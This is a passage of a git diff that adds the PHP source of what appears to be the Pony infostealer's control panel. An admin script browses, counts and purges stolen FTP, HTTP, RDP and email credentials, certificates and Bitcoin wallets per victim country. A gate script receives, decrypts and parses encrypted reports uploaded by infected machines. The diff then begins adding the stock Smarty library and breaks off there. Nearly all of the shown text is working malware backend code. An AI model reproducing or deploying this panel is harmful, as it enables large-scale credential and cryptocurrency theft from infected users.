$pony_db->get_multi_option('offset_http_list', 1); + $http_list = array(); + $pony_db->get_http_list(false, $http_list, 10, 'both', $offset_http_list[0]); + + foreach ($http_list as $http_item=>$http_value) + { + $http_list[$http_item]['module'] = $http_list[$http_item]['ftp_client']; + $http_list[$http_item]['ftp_client'] = module_name_to_client_name($http_list[$http_item]['ftp_client']); + if (!$pony_db->report_id_exists($http_list[$http_item]['report_id'])) + { + $http_list[$http_item]['report_id'] = ''; + } + } + + if (count($http_list)) + { + $first_id = $http_list[count($http_list)-1]['ftp_id']; + } else + { + $first_id = 0; + } + + $pony_db->set_multi_option('offset_http_list', array($first_id)); + + apply_data_filters($smarty, false, 'http'); + smarty_assign_continents($smarty); + + smarty_assign_common_vars($smarty, $pony_db); + $smarty->assign('http_list', $http_list); + $smarty->display('http_list.tpl'); +} +else if ($admin_action == 'other') +{ + // --------------------------------------------------------------------------------------- + // Other + if ($admin_routine == 'clear_cert') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_CERT_TABLE); + show_smarty_success($smarty); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } else if ($admin_routine == 'clear_wallet') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_WALLET_TABLE); + show_smarty_success($smarty); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } else if ($admin_routine == 'clear_rdp') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_FTP_TABLE, "WHERE (url_type='rdp')"); + clear_floating_offsets($pony_db); + show_smarty_success($smarty); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } else if ($admin_routine == 'clear_email') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_EMAIL_TABLE); + clear_floating_offsets($pony_db); + show_smarty_success($smarty); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + + $offset_email_list = $pony_db->get_multi_option('offset_email_list', 1); + $email_list = array(); + $pony_db->get_email_list(false, $email_list, 10, '', $offset_email_list[0]); + + foreach ($email_list as $email_item=>$email_value) + { + $email_list[$email_item]['module'] = $email_list[$email_item]['email_client']; + $email_list[$email_item]['email_client'] = module_name_to_client_name($email_list[$email_item]['email_client']); + } + + if (count($email_list)) + { + $first_id = $email_list[count($email_list)-1]['email_id']; + } else + { + $first_id = 0; + } + + $pony_db->set_multi_option('offset_email_list', array($first_id)); + $smarty->assign('email_list', $email_list); + + smarty_assign_common_vars($smarty, $pony_db); + $smarty->display("other.tpl"); +} +else if ($admin_action == 'stats') +{ + // --------------------------------------------------------------------------------------- + // Statistics + + // FTP clients statistics + $ftp_list = array(); + $ftp_clients_list = array(); + if ($pony_db->get_ftp_clients_stats($ftp_list) && count($ftp_list) > 0) + { + /* + // Show all FTP clients, even with 0 passwords grabbed + foreach ($global_module_list as $module_list_item) + { + // skip system info module + if ($module_list_item[0] == $global_module_list[0][0]) + continue; + if (array_key_exists($module_list_item[0], $ftp_list) === false) + { + $ftp_list[$module_list_item[0]] = '0'; + } + }*/ + + $sum = 0; + + foreach ($ftp_list as $count) + $sum += intval($count); + + foreach ($ftp_list as $ftp_client=>$count) + { + array_push($ftp_clients_list, array( + 'module'=>$ftp_client, + 'name'=>module_name_to_client_name($ftp_client), + 'count'=>$count, + 'percentage'=>sprintf("%01.2f", $count/$sum*100) + )); + } + } + + // HTTP clients statistics + $http_list = array(); + $http_clients_list = array(); + if ($pony_db->get_http_clients_stats($http_list) && count($http_list) > 0) + { + $sum = 0; + + foreach ($http_list as $count) + $sum += intval($count); + + foreach ($http_list as $http_client=>$count) + { + array_push($http_clients_list, array( + 'module'=>$http_client, + 'name'=>module_name_to_client_name($http_client), + 'count'=>$count, + 'percentage'=>sprintf("%01.2f", $count/$sum*100) + )); + } + } + + // E-mail clients statistics + $email_list = array(); + $email_clients_list = array(); + if ($pony_db->get_email_clients_stats($email_list) && count($email_list) > 0) + { + $sum = 0; + + foreach ($email_list as $count) + $sum += intval($count); + + foreach ($email_list as $email_client=>$count) + { + array_push($email_clients_list, array( + 'module'=>$email_client, + 'name'=>module_name_to_client_name($email_client), + 'count'=>$count, + 'percentage'=>sprintf("%01.2f", $count/$sum*100) + )); + } + } + + // HTTP domains statistics + $http_domain_list = array(); + $http_domain_stats = array(); + if ($pony_db->get_http_domain_stats($http_domain_list) && count($http_domain_list)) + { + $sum = 0; + + foreach ($http_domain_list as $count) + $sum += intval($count); + + foreach ($http_domain_list as $domain=>$count) + { + array_push($http_domain_stats, array( + 'domain'=>$domain, + 'count'=>$count, + 'percentage'=>sprintf("%01.2f", $count/$sum*100) + )); + } + } + + // Bitcoin clients statistics + $bitcoin_list = array(); + $bitcoin_clients_list = array(); + if ($pony_db->get_bitcoin_clients_stats($bitcoin_list) && count($bitcoin_list) > 0) + { + $sum = 0; + + foreach ($bitcoin_list as $count) + $sum += intval($count); + + foreach ($bitcoin_list as $bitcoin_client=>$count) + { + array_push($bitcoin_clients_list, array( + 'module'=>$bitcoin_client, + 'name'=>module_name_to_client_name($bitcoin_client), + 'count'=>$count, + 'percentage'=>sprintf("%01.2f", $count/$sum*100) + )); + } + } + + // Country statistics + $country_list = array(); + $smarty_country_list = array(); + if ($pony_db->get_country_stats($country_list) && count($country_list) > 0) + { + // FTP/HTTP stats + if ($enable_http_mode && ($show_http_to_users || $pony_db->priv_is_admin())) + $pony_db->get_all_country_stats($country_ftp_list); // ftp/ssh/rdp/http/https/... + else + $pony_db->get_ftp_country_stats($country_ftp_list); // ftp/ssh only + + if (is_array($country_ftp_list)) + { + foreach ($country_list as $country_name=>$country_value) + { + if (isset($country_ftp_list[$country_name]['ftp_count'])) + $country_list[$country_name]['ftp_count'] = $country_ftp_list[$country_name]['ftp_count']; + else + $country_list[$country_name]['ftp_count'] = 0; + } + + } + + // E-mail stats + if ($enable_email_mode && ($show_email_to_users || $pony_db->priv_is_admin())) + { + $pony_db->get_email_country_stats($country_email_list); + if (is_array($country_email_list)) + { + foreach ($country_list as $country_name=>$country_value) + { + if (isset($country_email_list[$country_name]['email_count'])) + { + if (!isset($country_list[$country_name]['ftp_count'])) + $country_list[$country_name]['ftp_count'] = 0; + $country_list[$country_name]['ftp_count'] += $country_email_list[$country_name]['email_count']; + } + } + + } + } + + // Certificates + $pony_db->get_cert_country_stats($country_cert_list); + if (is_array($country_cert_list)) + { + foreach ($country_list as $country_name=>$country_value) + { + if (isset($country_cert_list[$country_name]['cert_count'])) + { + if (!isset($country_list[$country_name]['ftp_count'])) + $country_list[$country_name]['ftp_count'] = 0; + $country_list[$country_name]['ftp_count'] += $country_cert_list[$country_name]['cert_count']; + } + } + } + + // Wallets + $pony_db->get_wallet_country_stats($country_wallet_list); + if (is_array($country_wallet_list)) + { + foreach ($country_list as $country_name=>$country_value) + { + if (isset($country_wallet_list[$country_name]['wallet_count'])) + { + if (!isset($country_list[$country_name]['ftp_count'])) + $country_list[$country_name]['ftp_count'] = 0; + $country_list[$country_name]['ftp_count'] += $country_wallet_list[$country_name]['wallet_count']; + } + } + } + + $report_sum = 0; + $ftp_sum = 0; + + foreach ($country_list as $count_array) + $report_sum += intval($count_array['report_count']); + foreach ($country_list as $count_array) + if (isset($count_array['ftp_count'])) + $ftp_sum += intval($count_array['ftp_count']); + + $geo_ip = new GeoIP(); + foreach ($country_list as $country_code=>$count_array) + { + if ($report_sum != 0) + $report_percentage = sprintf("%01.2f", $count_array['report_count']/$report_sum*100); + else + $report_percentage = ''; + + if ($ftp_sum != 0) + $ftp_percentage = sprintf("%01.2f", intval(assign($count_array['ftp_count']))/$ftp_sum*100); + else + $ftp_percentage = ''; + + $country = ''; + $flag_url = ''; + $country_name = geoip_country_code_to_country_name($geo_ip, $country_code); + + array_push($smarty_country_list, array("country_name"=>$country_name, + "country_code"=>$country_code, + "ftp_count"=>intval(assign($count_array['ftp_count'])), "report_count"=>$count_array['report_count'], + "report_percentage"=>$report_percentage, + "ftp_percentage"=>$ftp_percentage)); + } + } + + $smarty->assign('http_clients_list', $http_clients_list); + $smarty->assign('bitcoin_clients_list', $bitcoin_clients_list); + $smarty->assign('ftp_clients_list', $ftp_clients_list); + $smarty->assign('email_clients_list', $email_clients_list); + $smarty->assign('country_list', $smarty_country_list); + $smarty->assign('http_domain_list', $http_domain_stats); + $smarty->display('stats.tpl'); +} +else if ($admin_action == 'ping') +{ + // --------------------------------------------------------------------------------------- + // Domain management + if (!$show_domains || !$pony_db->priv_can_delete()) + { + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } else + { + if ($admin_routine == 'add') + { + if (trim(assign($_REQUEST['domain'])) != 'http://') + $pony_db->add_domain(trim(assign($_REQUEST['domain']))); + } else if ($admin_routine == 'delete' && nonempty($_REQUEST['domain_id'])) + { + $pony_db->delete_domain(trim(assign($_REQUEST['domain_id']))); + } + + $domain_list = array(); + $pony_db->get_domains($domain_list); + + $smarty->assign("domain_list", $domain_list); + $smarty->display('domains.tpl'); + } +} +else if ($admin_action == 'log') +{ + // --------------------------------------------------------------------------------------- + // Logs + if ($admin_routine == 'clear_log') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->delete_log_items(CPONY_LOG_TABLE); + clear_floating_offsets($pony_db); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + + $filter_ip = trim(assign($_REQUEST['filter_ip'])); + $filter_hwid = trim(assign($_REQUEST['filter_hwid'])); + $filter_notify = trim(assign($_REQUEST['filter_notify'])); + $next = trim(assign($_REQUEST['next'])); + if (strlen($next) == 0) + $next = '0'; + $next = intval($next); + if ($next > 0) + $next--; + + $max_results = 25; // log lines per page + + $total_items_count = $pony_db->get_log_row_count_filter($filter_ip, $filter_hwid, $filter_notify); + + $log_list = array(); + + $pony_db->get_log_list_report_filter($log_list, $next, $max_results, false, $filter_ip, $filter_hwid, $filter_notify); + + $filter = ''; + if (strlen($filter_ip)) + $filter .= '&filter_ip='.htmlspecialchars($filter_ip, ENT_QUOTES, 'cp1251'); + if (strlen($filter_hwid)) + $filter .= '&filter_hwid='.htmlspecialchars($filter_hwid, ENT_QUOTES, 'cp1251'); + if (strlen($filter_notify)) + $filter .= '&filter_notify='.htmlspecialchars($filter_notify, ENT_QUOTES, 'cp1251'); + + SmartyPaginate::disconnect(); + SmartyPaginate::connect(); + SmartyPaginate::setLimit($max_results); + SmartyPaginate::setPageLimit(50); + SmartyPaginate::setURL($self_file."?token=".$token."&action=log".$filter); + SmartyPaginate::setTotal($total_items_count); + SmartyPaginate::setPrevText($lang['Previous']); + SmartyPaginate::setNextText($lang['Next']); + SmartyPaginate::assign($smarty); + + smarty_assign_common_vars($smarty, $pony_db); + $smarty->assign("log_list", $log_list); + $smarty->display('log_list.tpl'); +} +else if ($admin_action == 'reports') +{ + // --------------------------------------------------------------------------------------- + // Reports + if ($admin_routine == 'clear_reports') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_REPORT_TABLE); + $pony_db->clear_table(CPONY_REPORT_DATA_TABLE); + clear_floating_offsets($pony_db); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + if ($admin_routine == 'delete') + { + if ($pony_db->priv_can_delete()) + { + $report_id = trim(assign($_REQUEST['report_id'])); + $pony_db->report_remove_errors($report_id); + $pony_db->report_remove($report_id); + clear_floating_offsets($pony_db); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + elseif ($admin_routine == 'view_report' || $admin_routine == 'reparse' || $admin_routine == 'confirm_delete') + { + // View detailed report information + $log_id = trim(assign($_REQUEST['log_id'])); + $report_id = trim(assign($_REQUEST['report_id'])); + + $report_size = $pony_db->get_report_sum_linked("WHERE report_id='".mysql_real_escape_string($report_id)."'"); + + $smarty->assign('report_id', $report_id); + $smarty->assign('report_size', $report_size); + $smarty->assign('log_id', $log_id); + + $log_item_result = $pony_db->get_log_item($log_id); + $report_item_result = $pony_db->get_report_item($report_id); + + if ($pony_db->state && is_array($report_item_result)) + { + $report_item_result['report_source_ip_country_code'] = geo_ip_country_code($report_item_result['report_source_ip']); + $report_item_result['report_source_ip_country_name'] = geo_ip_country_name($report_item_result['report_source_ip']); + } + $smarty->assign('report', $report_item_result); + $smarty->assign('log_item', $log_item_result); + $smarty->display('view_report.tpl'); + + if ($pony_db->state && is_array($report_item_result)) + { + echo "

"; + + my_flush(); + + if ($admin_routine == 'reparse') + { + $ftp_count_before_reparse = $pony_db->get_report_linked_passwords_count($report_id); + $cert_count_before_reparse = $pony_db->get_table_row_count(CPONY_CERT_TABLE); + $wallet_count_before_reparse = $pony_db->get_table_row_count(CPONY_WALLET_TABLE); + $email_count_before_reparse = $pony_db->get_table_row_count(CPONY_EMAIL_TABLE); + + $report = new report_parser($pony_report_options); + $parse_result = $report->process_report($report_item_result['data'], $pony_db_report_password); + if ($parse_result) + { + if ($enable_http_mode) + $url_list_array = array_merge($report->ftp_lines, $report->http_lines); + else + $url_list_array = $report->ftp_lines; + + $url_list_array = array_merge($url_list_array, $report->rdp_lines); + + if ($enable_email_mode) + { + $email_lines = $report->email_lines; + } else + { + $email_lines = null; + } + + $pony_db->update_parsed_report($report_id, $report->report_os_name, $report->report_is_win64, $report->report_is_admin, + $report->report_hwid, $report->report_version_id, $url_list_array, null, $report->cert_lines, $report->wallet_lines, $email_lines); + if (!count($report->log->log_lines)) + { + $pony_db->report_remove_errors($report_id); + } + } + $smarty->assign('parse_result', $parse_result); + $smarty->assign('parse_new_ftp', $pony_db->get_report_linked_passwords_count($report_id)-$ftp_count_before_reparse + + $pony_db->get_table_row_count(CPONY_CERT_TABLE)-$cert_count_before_reparse + + $pony_db->get_table_row_count(CPONY_WALLET_TABLE)-$wallet_count_before_reparse + + $pony_db->get_table_row_count(CPONY_EMAIL_TABLE)-$email_count_before_reparse); + clear_floating_offsets($pony_db); + } + + // enable debug mode + global $global_verbose_log, $global_allow_all_ftp; + $old_global_verbose_log = $global_verbose_log; + $old_global_allow_all_ftp = $global_allow_all_ftp; + + $global_verbose_log = true; + $global_allow_all_ftp = true; + + $report = new report_parser($pony_report_options); + $parse_result = $report->process_report($report_item_result['data'], $pony_db_report_password); + + $log = $report->log->log_lines; + $log_list = array(); + foreach ($log as $log_list_item) + { + list($log_line, $log_extra) = $log_list_item; + if (strpos($log_line, 'NOTIFY_NEW_HTTP:') !== false) + { + if ($enable_http_mode && ($show_http_to_users || $pony_db->priv_is_admin())) + { + array_push($log_list, array('log_line'=>$log_line, 'log_extra'=>$log_extra)); + } + } else if (strpos($log_line, 'NOTIFY_NEW_EMAIL:') !== false) + { + if ($enable_email_mode && ($show_email_to_users || $pony_db->priv_is_admin())) + { + array_push($log_list, array('log_line'=>$log_line, 'log_extra'=>$log_extra)); + } + } else + + array_push($log_list, array('log_line'=>$log_line, 'log_extra'=>$log_extra)); + + } + + $smarty->assign('log_list', $log_list); + $smarty->display('debug_report.tpl'); + + echo ''; + + // revert debug mode change + $global_verbose_log = $old_global_verbose_log; + $global_allow_all_ftp = $old_global_allow_all_ftp; + } + } + + if ($admin_routine != 'view_report' && $admin_routine != 'reparse' && $admin_routine != 'confirm_delete') + { + $filter_string = trim(assign($_REQUEST['filter_string'])); + $filter_ip = trim(assign($_REQUEST['filter_ip'])); + $filter_hwid = trim(assign($_REQUEST['filter_hwid'])); + $filter_nonparsed = trim(assign($_REQUEST['filter_nonparsed'])); + $filter_has_passwords = trim(assign($_REQUEST['filter_has_passwords'])); + $next = trim(assign($_REQUEST['next'])); + if (strlen($next) == 0) + $next = '0'; + $next = intval($next); + + if ($next > 0) + $next--; + + $total_items_count = $pony_db->get_report_row_count_filter($filter_ip, $filter_hwid, $filter_nonparsed, $filter_has_passwords, $filter_string); + $max_results = 25; + + $report_list = array(); + $pony_db->get_report_list_filter($report_list, $next, $max_results, $filter_ip, $filter_hwid, $filter_nonparsed, $filter_has_passwords, $filter_string); + $geo_ip = new GeoIP(); + + foreach ($report_list as $report_list_item => $report_list_value) + { + if (isset($report_list[$report_list_item]['report_country']) && strlen($report_list[$report_list_item]['report_country'])) + { + $report_list[$report_list_item]['report_country_name'] = geoip_country_code_to_country_name($geo_ip, $report_list[$report_list_item]['report_country']); + } else + { + $report_list[$report_list_item]['report_country_name'] = ''; + } + } + + $filter = ''; + if (strlen($filter_string)) + $filter .= '&filter_string='.htmlspecialchars($filter_string, ENT_QUOTES, 'cp1251'); + if (strlen($filter_ip)) + $filter .= '&filter_ip='.htmlspecialchars($filter_ip, ENT_QUOTES, 'cp1251'); + if (strlen($filter_hwid)) + $filter .= '&filter_hwid='.htmlspecialchars($filter_hwid, ENT_QUOTES, 'cp1251'); + + if (strlen($filter_nonparsed)) + $filter .= '&filter_nonparsed='.htmlspecialchars($filter_nonparsed, ENT_QUOTES, 'cp1251'); + elseif (strlen($filter_has_passwords)) + $filter .= '&filter_has_passwords='.htmlspecialchars($filter_has_passwords, ENT_QUOTES, 'cp1251'); + + SmartyPaginate::disconnect(); + SmartyPaginate::connect(); + SmartyPaginate::setURL($self_file."?token=".$token."&action=reports".$filter); + SmartyPaginate::setTotal($total_items_count); + SmartyPaginate::setLimit($max_results); + SmartyPaginate::setPageLimit(50); + + SmartyPaginate::setPrevText($lang['Previous']); + SmartyPaginate::setNextText($lang['Next']); + SmartyPaginate::assign($smarty); + + smarty_assign_common_vars($smarty, $pony_db); + $smarty->assign("report_list", $report_list); + $smarty->display('report_list.tpl'); + } +} +else if ($admin_action == 'admin') +{ + // --------------------------------------------------------------------------------------- + // User management + + if ($admin_routine == 'rebuild_tables') + { + if ($pony_db->priv_is_admin()) + { + if ($pony_db->drop_table(CPONY_FTP_TABLE) && $pony_db->drop_table(CPONY_REPORT_TABLE) && $pony_db->drop_table(CPONY_REPORT_DATA_TABLE) && + $pony_db->drop_table(CPONY_LOG_TABLE) && $pony_db->drop_table(CPONY_CERT_TABLE) && $pony_db->drop_table(CPONY_WALLET_TABLE) && $pony_db->drop_table(CPONY_EMAIL_TABLE) && + $pony_db->drop_table(CPONY_DOMAINLIST_TABLE) && + $pony_db->create_data_tables() + && $pony_db->state) + show_smarty_success($smarty); + else + show_smarty_error($smarty); + clear_floating_offsets($pony_db); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + elseif ($admin_routine == 'optimize_tables') + { + if ($pony_db->priv_is_admin()) + { + if ($pony_db->optimize_table(CPONY_FTP_TABLE) && $pony_db->optimize_table(CPONY_REPORT_TABLE) && $pony_db->optimize_table(CPONY_REPORT_DATA_TABLE) && $pony_db->optimize_table(CPONY_DOMAIN_TABLE) && + $pony_db->optimize_table(CPONY_LOG_TABLE) && $pony_db->optimize_table(CPONY_USER_TABLE) && $pony_db->optimize_table(CPONY_CERT_TABLE) && $pony_db->optimize_table(CPONY_WALLET_TABLE) && $pony_db->optimize_table(CPONY_EMAIL_TABLE) && + $pony_db->optimize_table(CPONY_DOMAINLIST_TABLE) + && $pony_db->state) + show_smarty_success($smarty); + else + show_smarty_error($smarty); + clear_floating_offsets($pony_db); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + elseif ($admin_routine == 'delete') + { + if ($pony_db->priv_is_admin()) + { + if ($pony_db->delete_user(trim(assign($_REQUEST['user_id'])))) + show_smarty_success($smarty); + else + show_smarty_error($smarty); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } elseif ($admin_routine == 'add') + { + $priv = trim(assign($_REQUEST['privileges'])); + $new_login = trim(assign($_REQUEST['new_login'])); + $new_password = trim(assign($_REQUEST['new_password'])); + + if ($priv != 'user_all') + $priv = 'user_view_only'; + + if ($pony_db->priv_is_admin()) + { + if ($pony_db->add_user($new_login, $new_password, $priv)) + show_smarty_success($smarty); + else + show_smarty_error($smarty); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } else if ($admin_routine == 'edit') + { + $user_id = trim(assign($_REQUEST['user_id'])); + $priv = trim(assign($_REQUEST['privileges'])); + $new_password = trim(assign($_REQUEST['new_password'])); + + if ($new_password == 'current_HASH_value') + $new_password = ''; + + if ($priv != 'user_all') + $priv = 'user_view_only'; + + if ($pony_db->priv_is_admin()) + { + if ($pony_db->update_user($user_id, $new_password, $priv)) + show_smarty_success($smarty); + else + show_smarty_error($smarty); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } else if ($admin_routine == 'update_server_settings') + { + // Server settings + if ($pony_db->priv_is_admin()) + { + $report_password = trim(assign($_REQUEST['report_password'])); + $sftp_user = trim(assign($_REQUEST['sftp_user'])); + if (!strlen($sftp_user)) $sftp_user = '0'; + $sftp_port = trim(assign($_REQUEST['sftp_port'])); + if (!strlen($sftp_port)) $sftp_port = ''; + $sftp_protocol = trim(assign($_REQUEST['sftp_protocol'])); + if (!strlen($sftp_protocol)) $sftp_protocol = ''; + + if ($pony_db->set_option('report_password', $report_password) && + $pony_db->set_option('sftp_user', $sftp_user) && + $pony_db->set_option('sftp_port', $sftp_port) && + $pony_db->set_option('sftp_protocol', $sftp_protocol) + ) + show_smarty_success($smarty); + else + show_smarty_error($smarty); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } else if ($admin_routine == 'change_password') + { + $current_password = trim(assign($_REQUEST['current_password'])); + $new_password = trim(assign($_REQUEST['new_password'])); + $confirm_password = trim(assign($_REQUEST['confirm_password'])); + + if ($pony_db->check_password($current_password)) + { + if ($new_password == $confirm_password) + { + if (strlen($new_password)) + { + if ($pony_db->change_password($new_password)) + show_smarty_success($smarty); + else + show_smarty_error($smarty, '', '?action=admin&routine=change_pass_form'); + } else + show_smarty_error($smarty, 'ERR_EMPTY_PASSWORD', '?action=admin&routine=change_pass_form'); + } else + show_smarty_error($smarty, 'ERR_PASSWORD_MISMATCH', '?action=admin&routine=change_pass_form'); + } else + show_smarty_error($smarty, 'ERR_WRONG_PASSWORD', '?action=admin&routine=change_pass_form'); + } + + if ($admin_routine == 'edit_form') + { + $user_id = trim(assign($_REQUEST['user_id'])); + if ($pony_db->priv_is_admin()) + { + $user_data = $pony_db->get_user_data($user_id); + if (is_array($user_data) && $user_data && $pony_db->priv_is_user($user_data['privileges'])) + { + $smarty->assign('user_data', $user_data); + } + } + } + + $user_list = array(); + if ($pony_db->priv_is_admin()) + { + $pony_db->get_user_list($user_list); + $smarty->assign('report_password', $pony_db_report_password); + + $smarty->assign('sftp_user', assign($pony_report_options['sftp_user'])); + $smarty->assign('sftp_port', assign($pony_report_options['sftp_port'])); + $smarty->assign('sftp_protocol', assign($pony_report_options['sftp_protocol'])); + } + + $smarty->assign('user_list', $user_list); + $smarty->display('management.tpl'); +} +else if ($admin_action == 'help') +{ + // --------------------------------------------------------------------------------------- + // Help contents + + $module_names = array(); + + foreach ($global_module_list as $module) + { + array_push($module_names, $module[2]); + } + $smarty->assign('module_names', $module_names); + $smarty->display("help.tpl"); +} +else if (strlen($admin_action) == 0) +{ + // --------------------------------------------------------------------------------------- + // Home page + // Installation Check + if (!install_check(false, false)) + { + show_smarty_error($smarty, 'ERR_SRV_CONFIGURATION'); + echo '
'; + install_check(true, true); + echo '
'; + } + + // Latest logins + $latest_login_list = array(); + $pony_db->get_login_log($latest_login_list, 5); + + foreach ($latest_login_list as $login_key=>$login_item) + { + $latest_login_list[$login_key]['country_code'] = geo_ip_country_code($login_item['ip']); + $latest_login_list[$login_key]['country_name'] = geo_ip_country_name($login_item['ip']); + } + + $smarty->assign("login_list", $latest_login_list); + + // Domains + $domain_list = array(); + $pony_db->get_domains($domain_list); + + smarty_assign_common_vars($smarty, $pony_db); + $smarty->assign("domain_list", $domain_list); + + $smarty->display("home.tpl"); +} + +$smarty->display('footer.tpl'); +$smarty->unloadFilter('output', 'trimwhitespace'); +$smarty->display('stopwatch.tpl'); diff --git a/panel/config.php b/panel/config.php new file mode 100644 index 0000000..85a64ce --- /dev/null +++ b/panel/config.php @@ -0,0 +1,51 @@ +connect_db($mysql_host, $mysql_user, $mysql_pass, $mysql_database, false); + +// set report decryption password +$pony_db_report_password = $pony_db->get_option('report_password', '', REPORT_DEFAULT_PASSWORD); +// set report parsing options +$pony_report_options = array('sftp_user' => $pony_db->get_option('sftp_user', '', '1'), + 'sftp_port' => $pony_db->get_option('sftp_port', '', '1'), + 'sftp_protocol' => $pony_db->get_option('sftp_protocol', '', '1')); + +// default values for unset config variables +if (!isset($enable_http_mode)) + $enable_http_mode = false; +if (!isset($enable_email_mode)) + $enable_email_mode = false; + +// client IP +$ip = get_client_ip(); + +// get report data +$real_length = intval($_SERVER['CONTENT_LENGTH']); +$received_report_data = file_get_contents('php://input'); + +// check if data was received in full +if ($real_length !== strlen($received_report_data)) + die(); + +$report_id = 0; + +// report data length should be inbetween 12 bytes and 900 Kb (default mysql query max. length) +$max_db_len_size = 1024*900; +if (strlen($received_report_data) > 12 && strlen($received_report_data) <= $max_db_len_size) +{ + if (report_parser::verify_report_file_header($received_report_data)) + { + $report_status_ok = false; + $ip_country = geo_ip_country_code($ip); + $report_new_encryption = false; + + // check if new random encryption is used + if (report_parser::verify_new_file_header($received_report_data)) + { + $report_new_encryption = true; + } + + if (report_parser::check_report_crypted_header($received_report_data) || report_parser::verify_new_file_header($received_report_data)) + { + // try to pre-decrypt report data + report_parser::pre_decrypt_report($received_report_data, $pony_db_report_password); + } + + // add non parsed report + $report_id = $pony_db->add_nonparsed_report($ip, $ip_country, $received_report_data); + + if ($report_id) + { + // there's new report available for parsing + $report = new report_parser($pony_report_options); + + // process report + ob_start(); // detect report processing noise + error_reporting(E_ALL); + $parse_result = $report->process_report($received_report_data, $pony_db_report_password); + $ob_data = trim(ob_get_contents()); + error_reporting(0); + ob_end_clean(); + + if ($parse_result) + { + $report_status_ok = true; + + if ($enable_http_mode) + $url_list_array = array_merge($report->ftp_lines, $report->http_lines); + else + $url_list_array = $report->ftp_lines; + + $url_list_array = array_merge($url_list_array, $report->rdp_lines); + + if ($enable_email_mode) + { + $email_lines = $report->email_lines; + } + else + { + $email_lines = null; + } + + $pony_db->update_parsed_report($report_id, $report->report_os_name, $report->report_is_win64, $report->report_is_admin, + $report->report_hwid, $report->report_version_id, $url_list_array, $report->log->log_lines, $report->cert_lines, $report->wallet_lines, $email_lines); + + if (strlen($ob_data)) + { + $pony_db->add_log_line('ERR_EXTRA_NOISE: '.$ob_data, CLOG_SOURCE_REPORT, $report_id, $log_extra); + } + } else + { + // parse error, write logs + $log = $report->log->log_lines; + $pony_db->import_log_list($log, CLOG_SOURCE_REPORT, $report_id); + } + } else if ($pony_db->state) + { + $report_status_ok = true; + $pony_db->add_log_line('NOTIFY_GATE_DUPLICATE_REPORT', CLOG_SOURCE_GATE, null, $ip); + } + + // check report parsing state and return success status for the client + if ($report_status_ok) + { + $response_msg = 'STATUS-IMPORT-OK'; + if ($report_new_encryption) + $response_msg = rc4_rand_crypt($response_msg); + echo $response_msg; + } + } +} else +{ + if (strlen($received_report_data) == 0) + { + // received empty report + // return 404 + $pony_db->add_log_line('NOTIFY_GATE_RECEIVED_NULL_REPORT', CLOG_SOURCE_GATE, null, $ip); + header('HTTP/1.0 404 Not Found'); + header('Status: 404 Not Found'); + $_SERVER['REDIRECT_STATUS'] = 404; + if (file_exists('404.html')) + echo file_get_contents('404.html'); + die(); + } + else if (strlen($received_report_data) < 12 && strlen($received_report_data) > 1) + $pony_db->add_log_line('ERR_GATE_REPORT_WRONG_SIZE: '.strlen($received_report_data), CLOG_SOURCE_GATE, null, $ip); + else if (strlen($received_report_data) > $max_db_len_size) + $pony_db->add_log_line('ERR_GATE_REPORT_BIG_SIZE: '.strlen($received_report_data), CLOG_SOURCE_GATE, null, $ip); +} + diff --git a/panel/includes/Smarty-3.1.15/libs/Smarty.class.php b/panel/includes/Smarty-3.1.15/libs/Smarty.class.php new file mode 100644 index 0000000..732b2df --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/Smarty.class.php @@ -0,0 +1,1575 @@ + + * @author Uwe Tews + * @author Rodney Rehm + * @package Smarty + * @version 3.1.15 + */ + +/** + * define shorthand directory separator constant + */ +if (!defined('DS')) { + define('DS', DIRECTORY_SEPARATOR); +} + +/** + * set SMARTY_DIR to absolute path to Smarty library files. + * Sets SMARTY_DIR only if user application has not already defined it. + */ +if (!defined('SMARTY_DIR')) { + define('SMARTY_DIR', dirname(__FILE__) . DS); +} + +/** + * set SMARTY_SYSPLUGINS_DIR to absolute path to Smarty internal plugins. + * Sets SMARTY_SYSPLUGINS_DIR only if user application has not already defined it. + */ +if (!defined('SMARTY_SYSPLUGINS_DIR')) { + define('SMARTY_SYSPLUGINS_DIR', SMARTY_DIR . 'sysplugins' . DS); +} +if (!defined('SMARTY_PLUGINS_DIR')) { + define('SMARTY_PLUGINS_DIR', SMARTY_DIR . 'plugins' . DS); +} +if (!defined('SMARTY_MBSTRING')) { + define('SMARTY_MBSTRING', function_exists('mb_split')); +} +if (!defined('SMARTY_RESOURCE_CHAR_SET')) { + // UTF-8 can only be done properly when mbstring is available! + /** + * @deprecated in favor of Smarty::$_CHARSET + */ + define('SMARTY_RESOURCE_CHAR_SET', SMARTY_MBSTRING ? 'UTF-8' : 'ISO-8859-1'); +} +if (!defined('SMARTY_RESOURCE_DATE_FORMAT')) { + /** + * @deprecated in favor of Smarty::$_DATE_FORMAT + */ + define('SMARTY_RESOURCE_DATE_FORMAT', '%b %e, %Y'); +} + +/** + * register the class autoloader + */ +if (!defined('SMARTY_SPL_AUTOLOAD')) { + 